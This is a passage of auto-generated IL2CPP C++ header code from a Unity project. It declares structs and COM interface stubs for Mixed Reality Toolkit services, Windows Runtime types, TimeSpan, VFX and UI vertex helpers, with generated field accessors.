IReference_1_tEAE3A44604921CCE36FBE3986D4AA48786A02DCF : Il2CppIInspectable { static const Il2CppGuid IID; virtual il2cpp_hresult_t STDCALL IReference_1_get_Value_mB9D7D66ED2B28C2740BAFD26B96ED89E73383B5F(Vector2_t3F50A00BF980B1193E44D4EBE470C34903F4631E * comReturnValue) = 0; }; // Windows.Foundation.IReference`1 struct NOVTABLE IReference_1_t82C05BA472430109829B64EEB0BA4AA8DA57EF70 : Il2CppIInspectable { static const Il2CppGuid IID; virtual il2cpp_hresult_t STDCALL IReference_1_get_Value_m41BE14B78D883205B1AB0B0F28DB78816768D26D(Vector3_t8DE19479CE3BD4C34B7AF76E89F5523A14FE37F4 * comReturnValue) = 0; }; // Windows.Foundation.IReference`1 struct NOVTABLE IReference_1_t2E90AA27DAF67A0C5212F008ED5019775E438EAF : Il2CppIInspectable { static const Il2CppGuid IID; virtual il2cpp_hresult_t STDCALL IReference_1_get_Value_mEFF123E1BD76AEDAED0313C6AC9D05313CBA7487(Vector3_t0194CC66E38F631C9297656C3AA662B23F45F53F * comReturnValue) = 0; }; // Microsoft.MixedReality.Toolkit.Utilities.AutoStartBehavior struct AutoStartBehavior_tCDA70490F61E73EABB1C3E2CD2E916418C018443 { public: // System.Int32 Microsoft.MixedReality.Toolkit.Utilities.AutoStartBehavior::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast(offsetof(AutoStartBehavior_tCDA70490F61E73EABB1C3E2CD2E916418C018443, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; // Microsoft.MixedReality.Toolkit.BaseService struct BaseService_t970AB4B49A871288A7CF21E96152159D1ED662F8 : public RuntimeObject { public: // System.String Microsoft.MixedReality.Toolkit.BaseService::k__BackingField String_t* ___U3CNameU3Ek__BackingField_1; // System.UInt32 Microsoft.MixedReality.Toolkit.BaseService::k__BackingField uint32_t ___U3CPriorityU3Ek__BackingField_2; // Microsoft.MixedReality.Toolkit.BaseMixedRealityProfile Microsoft.MixedReality.Toolkit.BaseService::k__BackingField BaseMixedRealityProfile_tEC8B9AB34958AC5CDD042A38A74ED038415CF4CF * ___U3CConfigurationProfileU3Ek__BackingField_3; // System.Nullable`1 Microsoft.MixedReality.Toolkit.BaseService::isInitialized Nullable_1_t1D1CD146BFCBDC2E53E1F700889F8C5C21063EF3 ___isInitialized_4; // System.String[] Microsoft.MixedReality.Toolkit.BaseService::typeName StringU5BU5D_tACEBFEDE350025B554CD507C9AE8FFE49359549A* ___typeName_5; // System.Nullable`1 Microsoft.MixedReality.Toolkit.BaseService::isEnabled Nullable_1_t1D1CD146BFCBDC2E53E1F700889F8C5C21063EF3 ___isEnabled_9; // System.Nullable`1 Microsoft.MixedReality.Toolkit.BaseService::isMarkedDestroyed Nullable_1_t1D1CD146BFCBDC2E53E1F700889F8C5C21063EF3 ___isMarkedDestroyed_10; // System.Boolean Microsoft.MixedReality.Toolkit.BaseService::disposed bool ___disposed_11; public: inline static int32_t get_offset_of_U3CNameU3Ek__BackingField_1() { return static_cast(offsetof(BaseService_t970AB4B49A871288A7CF21E96152159D1ED662F8, ___U3CNameU3Ek__BackingField_1)); } inline String_t* get_U3CNameU3Ek__BackingField_1() const { return ___U3CNameU3Ek__BackingField_1; } inline String_t** get_address_of_U3CNameU3Ek__BackingField_1() { return &___U3CNameU3Ek__BackingField_1; } inline void set_U3CNameU3Ek__BackingField_1(String_t* value) { ___U3CNameU3Ek__BackingField_1 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CNameU3Ek__BackingField_1), (void*)value); } inline static int32_t get_offset_of_U3CPriorityU3Ek__BackingField_2() { return static_cast(offsetof(BaseService_t970AB4B49A871288A7CF21E96152159D1ED662F8, ___U3CPriorityU3Ek__BackingField_2)); } inline uint32_t get_U3CPriorityU3Ek__BackingField_2() const { return ___U3CPriorityU3Ek__BackingField_2; } inline uint32_t* get_address_of_U3CPriorityU3Ek__BackingField_2() { return &___U3CPriorityU3Ek__BackingField_2; } inline void set_U3CPriorityU3Ek__BackingField_2(uint32_t value) { ___U3CPriorityU3Ek__BackingField_2 = value; } inline static int32_t get_offset_of_U3CConfigurationProfileU3Ek__BackingField_3() { return static_cast(offsetof(BaseService_t970AB4B49A871288A7CF21E96152159D1ED662F8, ___U3CConfigurationProfileU3Ek__BackingField_3)); } inline BaseMixedRealityProfile_tEC8B9AB34958AC5CDD042A38A74ED038415CF4CF * get_U3CConfigurationProfileU3Ek__BackingField_3() const { return ___U3CConfigurationProfileU3Ek__BackingField_3; } inline BaseMixedRealityProfile_tEC8B9AB34958AC5CDD042A38A74ED038415CF4CF ** get_address_of_U3CConfigurationProfileU3Ek__BackingField_3() { return &___U3CConfigurationProfileU3Ek__BackingField_3; } inline void set_U3CConfigurationProfileU3Ek__BackingField_3(BaseMixedRealityProfile_tEC8B9AB34958AC5CDD042A38A74ED038415CF4CF * value) { ___U3CConfigurationProfileU3Ek__BackingField_3 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CConfigurationProfileU3Ek__BackingField_3), (void*)value); } inline static int32_t get_offset_of_isInitialized_4() { return static_cast(offsetof(BaseService_t970AB4B49A871288A7CF21E96152159D1ED662F8, ___isInitialized_4)); } inline Nullable_1_t1D1CD146BFCBDC2E53E1F700889F8C5C21063EF3 get_isInitialized_4() const { return ___isInitialized_4; } inline Nullable_1_t1D1CD146BFCBDC2E53E1F700889F8C5C21063EF3 * get_address_of_isInitialized_4() { return &___isInitialized_4; } inline void set_isInitialized_4(Nullable_1_t1D1CD146BFCBDC2E53E1F700889F8C5C21063EF3 value) { ___isInitialized_4 = value; } inline static int32_t get_offset_of_typeName_5() { return static_cast(offsetof(BaseService_t970AB4B49A871288A7CF21E96152159D1ED662F8, ___typeName_5)); } inline StringU5BU5D_tACEBFEDE350025B554CD507C9AE8FFE49359549A* get_typeName_5() const { return ___typeName_5; } inline StringU5BU5D_tACEBFEDE350025B554CD507C9AE8FFE49359549A** get_address_of_typeName_5() { return &___typeName_5; } inline void set_typeName_5(StringU5BU5D_tACEBFEDE350025B554CD507C9AE8FFE49359549A* value) { ___typeName_5 = value; Il2CppCodeGenWriteBarrier((void**)(&___typeName_5), (void*)value); } inline static int32_t get_offset_of_isEnabled_9() { return static_cast(offsetof(BaseService_t970AB4B49A871288A7CF21E96152159D1ED662F8, ___isEnabled_9)); } inline Nullable_1_t1D1CD146BFCBDC2E53E1F700889F8C5C21063EF3 get_isEnabled_9() const { return ___isEnabled_9; } inline Nullable_1_t1D1CD146BFCBDC2E53E1F700889F8C5C21063EF3 * get_address_of_isEnabled_9() { return &___isEnabled_9; } inline void set_isEnabled_9(Nullable_1_t1D1CD146BFCBDC2E53E1F700889F8C5C21063EF3 value) { ___isEnabled_9 = value; } inline static int32_t get_offset_of_isMarkedDestroyed_10() { return static_cast(offsetof(BaseService_t970AB4B49A871288A7CF21E96152159D1ED662F8, ___isMarkedDestroyed_10)); } inline Nullable_1_t1D1CD146BFCBDC2E53E1F700889F8C5C21063EF3 get_isMarkedDestroyed_10() const { return ___isMarkedDestroyed_10; } inline Nullable_1_t1D1CD146BFCBDC2E53E1F700889F8C5C21063EF3 * get_address_of_isMarkedDestroyed_10() { return &___isMarkedDestroyed_10; } inline void set_isMarkedDestroyed_10(Nullable_1_t1D1CD146BFCBDC2E53E1F700889F8C5C21063EF3 value) { ___isMarkedDestroyed_10 = value; } inline static int32_t get_offset_of_disposed_11() { return static_cast(offsetof(BaseService_t970AB4B49A871288A7CF21E96152159D1ED662F8, ___disposed_11)); } inline bool get_disposed_11() const { return ___disposed_11; } inline bool* get_address_of_disposed_11() { return &___disposed_11; } inline void set_disposed_11(bool value) { ___disposed_11 = value; } }; // Microsoft.MixedReality.Toolkit.Utilities.ExperienceScale struct ExperienceScale_t6F537A5F7A64FE98E10297E49FF555169E48AD2C { public: // System.Int32 Microsoft.MixedReality.Toolkit.Utilities.ExperienceScale::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast(offsetof(ExperienceScale_t6F537A5F7A64FE98E10297E49FF555169E48AD2C, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; // System.IO.FileAccess struct FileAccess_t09E176678AB8520C44024354E0DB2F01D40A2F5B { public: // System.Int32 System.IO.FileAccess::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast(offsetof(FileAccess_t09E176678AB8520C44024354E0DB2F01D40A2F5B, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; // System.Runtime.InteropServices.WindowsRuntime.IBufferByteAccess struct NOVTABLE IBufferByteAccess_tAB5A5724D10A6E9006A794EC1B2626F787C67E9E : Il2CppIUnknown { static const Il2CppGuid IID; virtual il2cpp_hresult_t STDCALL IBufferByteAccess_GetBuffer_m8F6F0F782B7EA90FC90602224E5817AF96A568A9(intptr_t* comReturnValue) = 0; }; // System.Runtime.InteropServices.IMarshal struct NOVTABLE IMarshal_tD34B3265844DB850A43AD96E1A0ABA8DFCF3397F : Il2CppIUnknown { static const Il2CppGuid IID; virtual il2cpp_hresult_t STDCALL IMarshal_GetUnmarshalClass_m8E46B958BDAD31CAB4469F61769C4A43CEE851B0(Guid_t * ___riid0, intptr_t ___pv1, uint32_t ___dwDestContext2, intptr_t ___pvDestContext3, uint32_t ___mshlFlags4, Guid_t * ___pCid5) = 0; virtual il2cpp_hresult_t STDCALL IMarshal_GetMarshalSizeMax_mF0954EED35E28BBA1CE5D782B9468FAFA2794CE7(Guid_t * ___riid0, intptr_t ___pv1, uint32_t ___dwDestContext2, intptr_t ___pvDestContext3, uint32_t ___mshlflags4, uint32_t* ___pSize5) = 0; virtual il2cpp_hresult_t STDCALL IMarshal_MarshalInterface_mA481A30479B4E39647B608B7ED40FB7AEB302A68(intptr_t ___pStm0, Guid_t * ___riid1, intptr_t ___pv2, uint32_t ___dwDestContext3, intptr_t ___pvDestContext4, uint32_t ___mshlflags5) = 0; virtual il2cpp_hresult_t STDCALL IMarshal_UnmarshalInterface_m535C6AE1A1625CCBEE16A8AADD6FA0228668B5AF(intptr_t ___pStm0, Guid_t * ___riid1, intptr_t* ___ppv2) = 0; virtual il2cpp_hresult_t STDCALL IMarshal_ReleaseMarshalData_m99BFE51BA91305E8BDDBAE578DE0DE99A1FA626F(intptr_t ___pStm0) = 0; virtual il2cpp_hresult_t STDCALL IMarshal_DisconnectObject_m7B4B9C315995DCCA208E1681D8747ED4005BAC30(uint32_t ___dwReserved0) = 0; }; // Unity.Profiling.ProfilerMarker struct ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 { public: // System.IntPtr Unity.Profiling.ProfilerMarker::m_Ptr intptr_t ___m_Ptr_0; public: inline static int32_t get_offset_of_m_Ptr_0() { return static_cast(offsetof(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1, ___m_Ptr_0)); } inline intptr_t get_m_Ptr_0() const { return ___m_Ptr_0; } inline intptr_t* get_address_of_m_Ptr_0() { return &___m_Ptr_0; } inline void set_m_Ptr_0(intptr_t value) { ___m_Ptr_0 = value; } }; // Windows.Foundation.PropertyType struct PropertyType_tE0EA93A7BFC9AC532D4D960D9F87C6E0B5C4F808 { public: // System.Int32 Windows.Foundation.PropertyType::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast(offsetof(PropertyType_tE0EA93A7BFC9AC532D4D960D9F87C6E0B5C4F808, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; // Microsoft.MixedReality.Toolkit.Utilities.RecognitionConfidenceLevel struct RecognitionConfidenceLevel_t7355C226968A290D476E9E7314DD9C92C7DC48CF { public: // System.Int32 Microsoft.MixedReality.Toolkit.Utilities.RecognitionConfidenceLevel::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast(offsetof(RecognitionConfidenceLevel_t7355C226968A290D476E9E7314DD9C92C7DC48CF, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; // Microsoft.MixedReality.Toolkit.SpatialAwareness.SpatialAwarenessMeshDisplayOptions struct SpatialAwarenessMeshDisplayOptions_tBD5EECA158921324285270FA4CA73335FACC1408 { public: // System.Int32 Microsoft.MixedReality.Toolkit.SpatialAwareness.SpatialAwarenessMeshDisplayOptions::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast(offsetof(SpatialAwarenessMeshDisplayOptions_tBD5EECA158921324285270FA4CA73335FACC1408, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; // Microsoft.MixedReality.Toolkit.SpatialAwareness.SpatialAwarenessMeshLevelOfDetail struct SpatialAwarenessMeshLevelOfDetail_t0B1402043885182FD1DE0C0A6135B1D00002F5CA { public: // System.Int32 Microsoft.MixedReality.Toolkit.SpatialAwareness.SpatialAwarenessMeshLevelOfDetail::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast(offsetof(SpatialAwarenessMeshLevelOfDetail_t0B1402043885182FD1DE0C0A6135B1D00002F5CA, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; // Microsoft.MixedReality.Toolkit.SpatialAwareness.SpatialAwarenessSurfaceTypes struct SpatialAwarenessSurfaceTypes_t3DF77B136CD5A653DBE4AA6EB9C4CEC26401B150 { public: // System.Int32 Microsoft.MixedReality.Toolkit.SpatialAwareness.SpatialAwarenessSurfaceTypes::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast(offsetof(SpatialAwarenessSurfaceTypes_t3DF77B136CD5A653DBE4AA6EB9C4CEC26401B150, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; // System.TimeSpan struct TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 { public: // System.Int64 System.TimeSpan::_ticks int64_t ____ticks_3; public: inline static int32_t get_offset_of__ticks_3() { return static_cast(offsetof(TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203, ____ticks_3)); } inline int64_t get__ticks_3() const { return ____ticks_3; } inline int64_t* get_address_of__ticks_3() { return &____ticks_3; } inline void set__ticks_3(int64_t value) { ____ticks_3 = value; } }; struct TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203_StaticFields { public: // System.TimeSpan System.TimeSpan::Zero TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 ___Zero_0; // System.TimeSpan System.TimeSpan::MaxValue TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 ___MaxValue_1; // System.TimeSpan System.TimeSpan::MinValue TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 ___MinValue_2; // System.Boolean modreq(System.Runtime.CompilerServices.IsVolatile) System.TimeSpan::_legacyConfigChecked bool ____legacyConfigChecked_4; // System.Boolean modreq(System.Runtime.CompilerServices.IsVolatile) System.TimeSpan::_legacyMode bool ____legacyMode_5; public: inline static int32_t get_offset_of_Zero_0() { return static_cast(offsetof(TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203_StaticFields, ___Zero_0)); } inline TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 get_Zero_0() const { return ___Zero_0; } inline TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 * get_address_of_Zero_0() { return &___Zero_0; } inline void set_Zero_0(TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 value) { ___Zero_0 = value; } inline static int32_t get_offset_of_MaxValue_1() { return static_cast(offsetof(TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203_StaticFields, ___MaxValue_1)); } inline TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 get_MaxValue_1() const { return ___MaxValue_1; } inline TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 * get_address_of_MaxValue_1() { return &___MaxValue_1; } inline void set_MaxValue_1(TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 value) { ___MaxValue_1 = value; } inline static int32_t get_offset_of_MinValue_2() { return static_cast(offsetof(TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203_StaticFields, ___MinValue_2)); } inline TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 get_MinValue_2() const { return ___MinValue_2; } inline TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 * get_address_of_MinValue_2() { return &___MinValue_2; } inline void set_MinValue_2(TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 value) { ___MinValue_2 = value; } inline static int32_t get_offset_of__legacyConfigChecked_4() { return static_cast(offsetof(TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203_StaticFields, ____legacyConfigChecked_4)); } inline bool get__legacyConfigChecked_4() const { return ____legacyConfigChecked_4; } inline bool* get_address_of__legacyConfigChecked_4() { return &____legacyConfigChecked_4; } inline void set__legacyConfigChecked_4(bool value) { ____legacyConfigChecked_4 = value; } inline static int32_t get_offset_of__legacyMode_5() { return static_cast(offsetof(TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203_StaticFields, ____legacyMode_5)); } inline bool get__legacyMode_5() const { return ____legacyMode_5; } inline bool* get_address_of__legacyMode_5() { return &____legacyMode_5; } inline void set__legacyMode_5(bool value) { ____legacyMode_5 = value; } }; // UnityEngine.VFX.VFXEventAttribute struct VFXEventAttribute_tC4E90458100D52776F591CE62B19FF6051F423EF : public RuntimeObject { public: // System.IntPtr UnityEngine.VFX.VFXEventAttribute::m_Ptr intptr_t ___m_Ptr_0; // System.Boolean UnityEngine.VFX.VFXEventAttribute::m_Owner bool ___m_Owner_1; // UnityEngine.VFX.VisualEffectAsset UnityEngine.VFX.VFXEventAttribute::m_VfxAsset VisualEffectAsset_tEFF95BDCD904AF7D5DEA8CF020C62E23A978EC50 * ___m_VfxAsset_2; public: inline static int32_t get_offset_of_m_Ptr_0() { return static_cast(offsetof(VFXEventAttribute_tC4E90458100D52776F591CE62B19FF6051F423EF, ___m_Ptr_0)); } inline intptr_t get_m_Ptr_0() const { return ___m_Ptr_0; } inline intptr_t* get_address_of_m_Ptr_0() { return &___m_Ptr_0; } inline void set_m_Ptr_0(intptr_t value) { ___m_Ptr_0 = value; } inline static int32_t get_offset_of_m_Owner_1() { return static_cast(offsetof(VFXEventAttribute_tC4E90458100D52776F591CE62B19FF6051F423EF, ___m_Owner_1)); } inline bool get_m_Owner_1() const { return ___m_Owner_1; } inline bool* get_address_of_m_Owner_1() { return &___m_Owner_1; } inline void set_m_Owner_1(bool value) { ___m_Owner_1 = value; } inline static int32_t get_offset_of_m_VfxAsset_2() { return static_cast(offsetof(VFXEventAttribute_tC4E90458100D52776F591CE62B19FF6051F423EF, ___m_VfxAsset_2)); } inline VisualEffectAsset_tEFF95BDCD904AF7D5DEA8CF020C62E23A978EC50 * get_m_VfxAsset_2() const { return ___m_VfxAsset_2; } inline VisualEffectAsset_tEFF95BDCD904AF7D5DEA8CF020C62E23A978EC50 ** get_address_of_m_VfxAsset_2() { return &___m_VfxAsset_2; } inline void set_m_VfxAsset_2(VisualEffectAsset_tEFF95BDCD904AF7D5DEA8CF020C62E23A978EC50 * value) { ___m_VfxAsset_2 = value; Il2CppCodeGenWriteBarrier((void**)(&___m_VfxAsset_2), (void*)value); } }; // Native definition for P/Invoke marshalling of UnityEngine.VFX.VFXEventAttribute struct VFXEventAttribute_tC4E90458100D52776F591CE62B19FF6051F423EF_marshaled_pinvoke { intptr_t ___m_Ptr_0; int32_t ___m_Owner_1; VisualEffectAsset_tEFF95BDCD904AF7D5DEA8CF020C62E23A978EC50 * ___m_VfxAsset_2; }; // Native definition for COM marshalling of UnityEngine.VFX.VFXEventAttribute struct VFXEventAttribute_tC4E90458100D52776F591CE62B19FF6051F423EF_marshaled_com { intptr_t ___m_Ptr_0; int32_t ___m_Owner_1; VisualEffectAsset_tEFF95BDCD904AF7D5DEA8CF020C62E23A978EC50 * ___m_VfxAsset_2; }; // UnityEngine.VFX.VFXSpawnerState struct VFXSpawnerState_t5879CC401019E9C9D4F81128147AE52AAED167CD : public RuntimeObject { public: // System.IntPtr UnityEngine.VFX.VFXSpawnerState::m_Ptr intptr_t ___m_Ptr_0; // System.Boolean UnityEngine.VFX.VFXSpawnerState::m_Owner bool ___m_Owner_1; public: inline static int32_t get_offset_of_m_Ptr_0() { return static_cast(offsetof(VFXSpawnerState_t5879CC401019E9C9D4F81128147AE52AAED167CD, ___m_Ptr_0)); } inline intptr_t get_m_Ptr_0() const { return ___m_Ptr_0; } inline intptr_t* get_address_of_m_Ptr_0() { return &___m_Ptr_0; } inline void set_m_Ptr_0(intptr_t value) { ___m_Ptr_0 = value; } inline static int32_t get_offset_of_m_Owner_1() { return static_cast(offsetof(VFXSpawnerState_t5879CC401019E9C9D4F81128147AE52AAED167CD, ___m_Owner_1)); } inline bool get_m_Owner_1() const { return ___m_Owner_1; } inline bool* get_address_of_m_Owner_1() { return &___m_Owner_1; } inline void set_m_Owner_1(bool value) { ___m_Owner_1 = value; } }; // Native definition for P/Invoke marshalling of UnityEngine.VFX.VFXSpawnerState struct VFXSpawnerState_t5879CC401019E9C9D4F81128147AE52AAED167CD_marshaled_pinvoke { intptr_t ___m_Ptr_0; int32_t ___m_Owner_1; }; // Native definition for COM marshalling of UnityEngine.VFX.VFXSpawnerState struct VFXSpawnerState_t5879CC401019E9C9D4F81128147AE52AAED167CD_marshaled_com { intptr_t ___m_Ptr_0; int32_t ___m_Owner_1; }; // UnityEngine.UI.VertexHelper struct VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55 : public RuntimeObject { public: // System.Collections.Generic.List`1 UnityEngine.UI.VertexHelper::m_Positions List_1_t577D28CFF6DFE3F6A8D4409F7A21CBF513C04181 * ___m_Positions_0; // System.Collections.Generic.List`1 UnityEngine.UI.VertexHelper::m_Colors List_1_tE21C42BE31D35DD3ECF3322C6CA057E27A81B4D5 * ___m_Colors_1; // System.Collections.Generic.List`1 UnityEngine.UI.VertexHelper::m_Uv0S List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A * ___m_Uv0S_2; // System.Collections.Generic.List`1 UnityEngine.UI.VertexHelper::m_Uv1S List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A * ___m_Uv1S_3; // System.Collections.Generic.List`1 UnityEngine.UI.VertexHelper::m_Uv2S List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A * ___m_Uv2S_4; // System.Collections.Generic.List`1 UnityEngine.UI.VertexHelper::m_Uv3S List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A * ___m_Uv3S_5; // System.Collections.Generic.List`1 UnityEngine.UI.VertexHelper::m_Normals List_1_t577D28CFF6DFE3F6A8D4409F7A21CBF513C04181 * ___m_Normals_6; // System.Collections.Generic.List`1 UnityEngine.UI.VertexHelper::m_Tangents List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A * ___m_Tangents_7; // System.Collections.Generic.List`1 UnityEngine.UI.VertexHelper::m_Indices List_1_t260B41F956D673396C33A4CF94E8D6C4389EACB7 * ___m_Indices_8; // System.Boolean UnityEngine.UI.VertexHelper::m_ListsInitalized bool ___m_ListsInitalized_11; public: inline static int32_t get_offset_of_m_Positions_0() { return static_cast(offsetof(VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55, ___m_Positions_0)); } inline List_1_t577D28CFF6DFE3F6A8D4409F7A21CBF513C04181 * get_m_Positions_0() const { return ___m_Positions_0; } inline List_1_t577D28CFF6DFE3F6A8D4409F7A21CBF513C04181 ** get_address_of_m_Positions_0() { return &___m_Positions_0; } inline void set_m_Positions_0(List_1_t577D28CFF6DFE3F6A8D4409F7A21CBF513C04181 * value) { ___m_Positions_0 = value; Il2CppCodeGenWriteBarrier((void**)(&___m_Positions_0), (void*)value); } inline static int32_t get_offset_of_m_Colors_1() { return static_cast(offsetof(VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55, ___m_Colors_1)); } inline List_1_tE21C42BE31D35DD3ECF3322C6CA057E27A81B4D5 * get_m_Colors_1() const { return ___m_Colors_1; } inline List_1_tE21C42BE31D35DD3ECF3322C6CA057E27A81B4D5 ** get_address_of_m_Colors_1() { return &___m_Colors_1; } inline void set_m_Colors_1(List_1_tE21C42BE31D35DD3ECF3322C6CA057E27A81B4D5 * value) { ___m_Colors_1 = value; Il2CppCodeGenWriteBarrier((void**)(&___m_Colors_1), (void*)value); } inline static int32_t get_offset_of_m_Uv0S_2() { return static_cast(offsetof(VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55, ___m_Uv0S_2)); } inline List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A * get_m_Uv0S_2() const { return ___m_Uv0S_2; } inline List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A ** get_address_of_m_Uv0S_2() { return &___m_Uv0S_2; } inline void set_m_Uv0S_2(List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A * value) { ___m_Uv0S_2 = value; Il2CppCodeGenWriteBarrier((void**)(&___m_Uv0S_2), (void*)value); } inline static int32_t get_offset_of_m_Uv1S_3() { return static_cast(offsetof(VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55, ___m_Uv1S_3)); } inline List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A * get_m_Uv1S_3() const { return ___m_Uv1S_3; } inline List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A ** get_address_of_m_Uv1S_3() { return &___m_Uv1S_3; } inline void set_m_Uv1S_3(List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A * value) { ___m_Uv1S_3 = value; Il2CppCodeGenWriteBarrier((void**)(&___m_Uv1S_3), (void*)value); } inline static int32_t get_offset_of_m_Uv2S_4() { return static_cast(offsetof(VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55, ___m_Uv2S_4)); } inline List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A * get_m_Uv2S_4() const { return ___m_Uv2S_4; } inline List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A ** get_address_of_m_Uv2S_4() { return &___m_Uv2S_4; } inline void set_m_Uv2S_4(List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A * value) { ___m_Uv2S_4 = value; Il2CppCodeGenWriteBarrier((void**)(&___m_Uv2S_4), (void*)value); } inline static int32_t get_offset_of_m_Uv3S_5() { return static_cast(offsetof(VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55, ___m_Uv3S_5)); } inline List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A * get_m_Uv3S_5() const { return ___m_Uv3S_5; } inline List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A ** get_address_of_m_Uv3S_5() { return &___m_Uv3S_5; } inline void set_m_Uv3S_5(List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A * value) { ___m_Uv3S_5 = value; Il2CppCodeGenWriteBarrier((void**)(&___m_Uv3S_5), (void*)value); } inline static int32_t get_offset_of_m_Normals_6() { return static_cast(offsetof(VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55, ___m_Normals_6)); } inline List_1_t577D28CFF6DFE3F6A8D4409F7A21CBF513C04181 * get_m_Normals_6() const { return ___m_Normals_6; } inline List_1_t577D28CFF6DFE3F6A8D4409F7A21CBF513C04181 ** get_address_of_m_Normals_6() { return &___m_Normals_6; } inline void set_m_Normals_6(List_1_t577D28CFF6DFE3F6A8D4409F7A21CBF513C04181 * value) { ___m_Normals_6 = value; Il2CppCodeGenWriteBarrier((void**)(&___m_Normals_6), (void*)value); } inline static int32_t get_offset_of_m_Tangents_7() { return static_cast(offsetof(VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55, ___m_Tangents_7)); } inline List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A * get_m_Tangents_7() const { return ___m_Tangents_7; } inline List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A ** get_address_of_m_Tangents_7() { return &___m_Tangents_7; } inline void set_m_Tangents_7(List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A * value) { ___m_Tangents_7 = value; Il2CppCodeGenWriteBarrier((void**)(&___m_Tangents_7), (void*)value); } inline static int32_t get_offset_of_m_Indices_8() { return static_cast(offsetof(VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55, ___m_Indices_8)); } inline List_1_t260B41F956D673396C33A4CF94E8D6C4389EACB7 * get_m_Indices_8() const { return ___m_Indices_8; } inline List_1_t260B41F956D673396C33A4CF94E8D6C4389EACB7 ** 